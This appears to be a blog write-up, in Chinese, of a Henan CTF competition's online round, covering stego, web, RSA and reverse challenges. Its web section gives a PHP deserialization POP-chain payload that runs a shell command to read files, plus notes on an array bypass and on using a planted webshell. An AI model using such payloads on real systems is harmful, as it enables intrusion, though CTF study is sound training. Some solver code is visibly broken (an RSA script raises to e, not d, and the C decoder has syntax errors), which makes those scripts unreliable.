河南省第五届“金盾信安杯”网络与数据安全大赛线上wp

目录

Misc​

题目一 来都来了​

题目二 芙宁娜​

题目三 Honor​

Web​

题目四 ApeCoin​

题目五 get_source​

题目六 easyphp​

题目七 ezupload​

Crypto​

题目八 我看看谁还不会RSA​

题目九 hakiehs​

题目十 Babyrsa​

Reverse​

题目十一 RE1​


Misc​

题目一 来都来了​

操作内容:​

拿到压缩包之后发现是伪加密​

将压缩包中的字符base64解密一次缩小即可得出flag​

flag值:​

flag{cp2ae315-eef4-3fra-a768-cd9xb19cdk4e}​

题目二 芙宁娜​

操作内容:​

首先base64解密,得到flag{bc8394aa-7e32-47e8-a9fd-1bf683af​

导入Photoshop拿到覆盖的16进制编码,通过重组还原得到一个pyc文件,​

pyc隐写得到内容:8e8f}​

flag值:​

flag{bc8394aa-7e32-47e8-a9fd-1bf683af8e8f}​

题目三 Honor​

操作内容:​

将拿到的图片放到010中,发现png图片下还隐藏一个jpg图片​

分离 可得到一张jpg图片 图片如下​

接着尝试使用steghide隐写解题,由于不知道密码直接使用空密码,发现尝试失败​

接着使用stegseek对密码进行爆破 ​

密码为114514​

f6l3-a6ag3c}{-bc4c5e28-e4649c76b0-707e6069​

通过栅栏解密即可得到flag​

flag值:​

flag{424c076e-768c-3636-acb5-4676900b9eec}​

Web​

题目四 ApeCoin​

操作内容:​

xray扫一下拿到www.tar.gz源码​

.txt.php是wbeshell​

cmd5解密拿到密码​

74658263​

冰蝎连接拿到flag​

/static/font/.txt.php​

flag值:​

flag{49520cdb-42d2-417f-a1f2-1bc4cd5e1053}​

题目五 get_source​

操作内容:​

php<= 7.4.21 development server源码泄露漏洞​

数组绕过​

a[]=1&b[]=3&pwn[]=sss​

flag值:​

flag{2c256623-af17-419a-ae7d-098b28459ccc}​

题目六 easyphp​

操作内容:​

余暨杯线下赛 | FPoint

<?php​

error_reporting(0);​

class mouse​

{​

public $rice;​

function __construct()​

{​

$this->rice = new get;​

}​

}​

class dog​

{​

public $a;​

public $b;​

public $c;​

function __construct()​

{​

$this->a = 'chance?';​

$this->b = &$this->a;​

$this->c = new ct;​

}​

}​

class ct​

{​

public $fish;​

function __construct()​

{​

$this->fish = new mouse;​

}​

}​

class get​

{​

public $cmd;​

function __construct()​

{​

$this->cmd = '?><?=`nl /realflag/you_want_flag.php`;';​

}​

}​

$b = new dog;​

echo (serialize($b));​

/hint.php?pop=O:3:"dog":3:{s:1:"a";s:7:"chance?";s:1:"b";R:2;s:1:"c";O:2:"ct":1:{s:4:"fish";O:5:"mouse":1:{s:4:"rice";O:3:"get":1:{s:3:"cmd";s:38:"?><?=`nl /realflag/you_want_flag.php`;";}}}}​

flag值:​

flag{75441a2b-7484-496f-9f03-455d83d60a0b}​

题目七 ezupload​

操作内容:​

非预期解:直接访问根目录/flag​

即可拿到flag​

flag值:​

flag{b68d84d6-4125-4f77-a3fe-4a69853bf39d}​

Crypto​

题目八 我看看谁还不会RSA​

操作内容:​

定义了两个大素数p和q,并计算了它们的乘积n。然后,通过计算(p-1)*(q-1)到了欧拉函数的值phin。​

指定了公钥的指数e为37777,并使用gmpy2.invert函数计算了私钥的指数d。​

给定了密文c,代码使用pow函数执行RSA解密操作,将密文c的指数e次幂模n得到明文m。​

使用Crypto.Util.number库中的long_to_bytes函数将解密后的明文m转换为字节形式,并打印出来。​

import gmpy2​

from Crypto.Util.number import long_to_bytes​

# 已知参数​

p = 8666789885346075954502743436174521501697​

q = 2449101960789395782044494299423558347143​

n = p * q​

phin = (p - 1) * (q - 1)​

e = 37777​

d = gmpy2.invert(e, phin)​

c = 8232151627233115772131180151146951323147507324390914513031444555762539986162650​

# 解密​

m = pow(c,e,n)​

print(m)​

plaintext = long_to_bytes(m)​

print(plaintext)​

flag值:​

flag{r5a_Who_w0nt}​

题目九 hakiehs​

操作内容:​

将文件后缀改为zip,找到里面的图片​

原神符号 对照拼接​

flag{linkzeldaganon}​

题目十 Babyrsa​

操作内容:​

求解中国剩余定理。接受两个参数 n 和 a,分别表示模数和余数。函数内部使用了 reduce 函数和 gmpy2.invert 函数来计算最终结果。​

从文件 "round2.txt" 中读取了一个整数 c2。​

定义了两个整数 e1 和 e2,并使用 gmpy2.gcdext 函数计算了它们的最大公约数和对应的系数。​

从 "round3.txt" 中读取了两个整数 key 和 c3。​

定义了两个大素数 p1 和 q1,并计算了 d1,即 e1 在模 (p1-1)*(q1-1) 下的乘法逆元。​

从文件 "round4.txt" 中读取了一个整数 c4 和两个整数 t1、t2。​

最后,使用 GCD 函数计算了 q,然后通过除法运算得到 p。接着,计算了 phin,即欧拉函数值然后使用 gmpy2.invert 函数计算了 d。最后,使用 pow 函数解密了密文 c4,得到了明文 m。​

代码的输出结果是解密后的明文 m。

from functools import reduce​

from Crypto.Util.number import *​

import gmpy2​

n1 = 11177704342647691670070109831808378482821379302566268464943167206480241387551242120970561253786504223799891058773501288553907233379501460184102021531940602831324488818584481982166938165369946708273616214479706319082928159418133324715707808391767322038274030554057692976849636562898606740933056248870247255267420120488136713203337167713048960270135675134979523980774070773134748108563438318851158022122836766753248988837577239024669497444315476147384635493684855045085484618938995056978709390818568630471778630936743950045419782341697342117812959693992029294299582179507853091511833090186389981102903683178276414062363​

with open("round1.txt","r") as f:​

f=f.readlines()​

n1=eval(f[0])​

c1=eval(f[2])​

def chinese_remainder(n, a):#前面是模​

sum = 0​

prod = reduce(lambda a, b: a * b, n)​

for n_i, a_i in zip(n, a):​

p = prod // n_i​

sum += a_i * gmpy2.invert(p, n_i) * p​

return int(sum % prod)​

n2=gmpy2.iroot(chinese_remainder(n1,c1),10)[0]​

c2=eval(open("round2.txt","r").read().strip())​

e1 = 65537​

e2 = 84731​

_,s1,s2=gmpy2.gcdext(e1,e2)​

n3=pow(c2[0],s1,n2)*pow(c2[1],s2,n2)%n2​

with open("round3.txt","r") as f:​

f=f.readlines()​

key=int(f[0])​

c3=int(f[1])​

p1,q1=93354166280947167833539683096118798106084867596287020276555488653205872987859801746684254263516217114159304058632013835768299155560709849272390696591877663191582507890284591155921659833532148373169277734804581509509984633376135064176560954186526127549825077504637255397234250633719215364937275738700717660719,129091985690550359973833790091146198395778087257743694979450863523549458554652043962254166670266232149752471741954493310376155128942738655573094015353022428764487467130494383995010146802193442576035047727380869508672182718103620025385942937912806529910521900966008956204938991394692250823238247503135083004251​

d1=inverse(65537,(p1-1)*(q1-1))​

n4=pow(c3,d1,n3)​

with open("round4.txt","r") as f:​

f=f.readlines()​

c4=int(f[0])​

t1,t2=int(f[1]),int(f[2])​

q = GCD(t1-(t2-2019)**2019,n4)​

print(n4)​

p = n4//q​

e=65537​

phin = (p-1)*(q-1)​

d = gmpy2.invert(e,phin)​

m = pow(c4,d,n4)​

print(long_to_bytes(m))​

在txt文档中出现L,需要删除才行​

flag值:​

flag{y0U_R_th3_ch0sen_on3_1n_the_field_of_Crypt0gr4phy}​

Reverse​

题目十一 RE1​

操作内容:​

载入ida分析进入到main主入口​

使用一个循环来处理字符串v8,将其转换为后缀表达式。循环中的代码将每个字符转换为对应的整值,并进行一系列位运算操作,最终得到一个结果v5​

输入的字符串经过sub_401540通过指针v3向后移动2个字节。 调用sub_401540函数​

对代码进行加密校检代码检查变量v5的值​

验证长度正确后计算v8并将v1和长度传入加密​

将变量v4的值加1,跳过当前字符。​

获取指针v17指向的位置,该位置是根据v3[200]计算得到的。​

将指针v17指向的位置的值赋给变量1。​

将变量v1的值减去指针v17指向的位置的值。​

将v3[200]的值减1。​

将变量v1的值存储回指针v17指向的位置。​

比较后提示内容就是flag​

根据加密算法写转换脚本​

void Decode(unsigned __int8* a1, unsigned __int8* flag, int a2)​

{​

int v3[515];​

int v4;​

char v5;​

int j;​

int v7;​

int i;​

v7 = 0;​

for (i = 0 i <= 255; ++i)​

{​

v3[i] = i;​

v3[i + 256] = *a1;​

}​

flag[0] = a1[0];​

for (j = 1; j < a2; ++j)​

{​

for (i = 0; i <= 255; ++i)​

v3[i + 256] = a1[j - 1];​

for (i = 0; i <= 255; ++i)​

{​

v7 = (v3[i + 256] + v7 + v3[i]) % 256;​

v4 = v3[v7];​

v3[v7] = v3[i];​

v3[i] = v4;​

}​

v5 = 0;​

for (i = 0; i <= 255; i += 2)​

{​

v5 += v3[i];​

v5 ^= v3[i + 256];​

}​

flag[j] = (a1[j] & 0xff) ^ (v5 &0xff);​

}​

}​

int main()​

{​

unsigned __int8 flag[33];​

unsigned __int8 v9[32];​

v9[0] = 99;​

v9[1] = -67;​

v9[2] = 128;​

v9[3] = 86;​

v9[4] = ;​

v9[5] = 76;​

v9[6] = -58;​

v9[7] = -43;​

v9[8] = 68;​

v9[9] = 102;​

v9[10] = 109;​

v9[11] = 44;​

v9[12] =104;​

v9[13] = -92;​

v9[14] = 30;​

v9[15] = 80;​

v9[16] = 25;​

v9[17] = 92;​

v9[18] = -98;​

v9[19] = 65;​

v9[20] -117;​

v9[21] = 85;​

v9[22] = 5;​

v9[23] = 50;​

v9[24] = -65;​

v9[25] = -31;​

v9[26] = 126;​

v9[27] = -6;​

v9[28 = -78;​

v9[29] = -109;​

v9[30] = -10;​

v9[31] = 42;​

Decode(v9, flag, 32);​

flag[32] = 0;​

printf("flag{%s}", flag);​

return 0;​

}

flag值:​flag{ca1acd0c7d7111eeaf0296085339ce83}

  • 22
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 8
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 8
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

池奈飞羽

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值